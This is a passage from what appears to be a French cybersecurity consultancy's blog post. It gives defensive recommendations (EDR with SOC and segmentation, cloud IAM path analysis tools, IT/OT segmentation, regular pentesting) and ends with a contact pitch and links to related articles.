3. L’EDR ne suffit pas : Investissez dans le triptyque EDR + SOC compétent + architecture segmentée. Un EDR contourné sans SOC réactif et sans segmentation offre zéro protection contre un attaquant déterminé.
4. Cartographiez vos permissions cloud : La dette de sécurité IAM est invisible mais mortelle. Utilisez des outils d’analyse de chemins d’escalade (PMapper, Prowler, Cloudsplaining) en continu, pas uniquement lors des audits ponctuels.
5. Segmentez IT et OT : C’est non négociable pour toute organisation opérant des systèmes industriels. Les protocoles OT n’ont pas été conçus pour la sécurité — la segmentation réseau est la première et la plus importante ligne de défense.
6. Testez régulièrement : Un pentest annuel est un minimum. Les environnements à haut risque (finance, santé, infrastructure critique) devraient être testés semestriellement, complétés par du bug bounty ou du pentest as-a-service en continu.

Pour discuter de vos besoins en pentest ou en audit de sécurité, n’hésitez pas à contacter notre équipe. Nous proposons des missions adaptées à votre contexte, votre maturité de sécurité et vos contraintes opérationnelles.

Ressources complémentaires

• Guide complet du Pentest Active Directory
• Kerberoasting et AS-REP Roasting : attaques AD expliquées
• Techniques de bypass EDR et évasion en 2026
• Escalade de privilèges IAM multi-cloud
• Sécurité OT/ICS : guide de protection des systèmes industriels
• MITRE ATT&CK Framework
• OWASP Web Security Testing Guide
• PTES — Penetration Testing Execution Standard

📖 À lire aussi : guide pentest AD

📖 À lire aussi : Kerberoasting

📖 À lire aussi : BloodHound vs SharpHound

📖 À lire aussi : débuter en pentest